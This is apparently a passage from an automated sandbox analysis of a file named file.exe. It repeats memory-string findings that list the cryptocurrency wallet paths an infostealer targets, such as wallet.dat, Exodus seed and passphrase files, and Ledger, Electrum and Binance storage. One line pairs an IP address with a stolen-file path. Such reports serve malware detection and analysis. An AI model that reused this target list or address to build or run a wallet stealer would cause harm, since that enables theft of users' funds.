Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\app-store.json.*@
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 